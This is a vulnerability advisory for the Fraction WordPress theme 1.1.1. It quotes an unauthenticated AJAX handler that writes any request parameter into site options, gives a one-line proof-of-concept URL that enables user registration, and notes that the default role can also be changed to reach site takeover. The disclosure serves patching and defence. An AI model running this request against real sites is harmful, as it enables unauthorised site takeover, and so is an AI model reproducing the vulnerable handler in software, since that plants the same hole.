WordPress Fraction Theme 1.1.1 Privilege Escalation

[Aerosol]

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WordPress Fraction Theme 1.1.1 Previlage Escalation
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[-] Theme Link:

http://themeforest.net/item/fraction-multipurpose-news-magazine-theme/8655281

[-] Affected Version:

Version: 1.1.1

[-] Vulnerability Description:

This vulnerability allows an attacker to escalate privileges on the site
and have an admin account which may lead to a full site takeover
the vulnerability is in /fraction-theme/functions/ajax.php there is this
function called "ot_save_options":

function ot_save_options() {
    $fields = $_REQUEST;
    foreach($fields as $key => $field) {
        if($key!="action") {
            update_option($key,$field);
        }
    }
    die();
}

passing user input into the update_option function allows an attacker to
update options like users_can_register,default_role.... etc
this can be accessed via ajax by users and non-users:

add_action('wp_ajax_nopriv_ot_save_options', 'ot_save_options');
add_action('wp_ajax_ot_save_options', 'ot_save_options');

[-] Proof of Concept:

this will enable user registration
http://localhost/wordpress/wp-admin/admin-ajax.php?action=ot_save_options&users_can_register=1

[-] Timeline:
09 March - Vendor Notified
09 March - Vendor Replied
10 March - Fix Released
10 March - Public Disclosure

[-] References:
http://research.evex.pw/?vuln=8
 @evex_1337

Source